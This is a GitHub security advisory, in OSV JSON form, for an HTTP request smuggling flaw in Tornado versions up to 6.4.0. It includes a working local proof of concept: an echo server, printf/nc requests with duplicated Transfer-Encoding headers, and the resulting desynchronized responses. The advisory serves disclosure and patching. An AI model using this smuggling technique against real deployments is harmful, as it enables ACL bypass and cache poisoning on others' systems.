GHSA-753j-mpmx-qq6g: Tornado Inconsistent Interpretation Of HTTP Requests Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-753j-mpmx-qq6g",
  "modified" : "2024-06-06T21:41:20Z",
  "published" : "2024-06-06T21:41:20Z",
  "aliases" : [ ],
  "summary" : "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado",
  "details" : "### Summary\nWhen Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.\n\n### PoC\n0. Install Tornado.\n1. Start a simple Tornado server that echoes each received request's body:\n```bash\ncat << EOF > server.py\nimport asyncio\nimport tornado\n\nclass MainHandler(tornado.web.RequestHandler):\n    def post(self):\n        self.write(self.request.body)\n\nasync def main():\n    tornado.web.Application([(r\"/\", MainHandler)]).listen(8000)\n    await asyncio.Event().wait()\n\nasyncio.run(main())\nEOF\npython3 server.py &\n```\n2. Send a valid chunked request:\n```bash\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n3. Observe that the response is as expected:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:32:05 GMT\nContent-Length: 1\n\nZ\n```\n4. Send a request with two `Transfer-Encoding: chunked` headers:\n```\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n5. Observe the strange response:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:35:40 GMT\nContent-Length: 0\n\nHTTP/1.1 400 Bad Request\n\n```\nThis is because Tornado believes that the request has no message body, so it tries to interpret `1\\r\\nZ\\r\\n0\\r\\n\\r\\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.\n\n### Impact\nAnyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "tornado"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.4.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.4.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tornadoweb/tornado"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-06T21:41:20Z",
    "nvd_published_at" : null
  }
}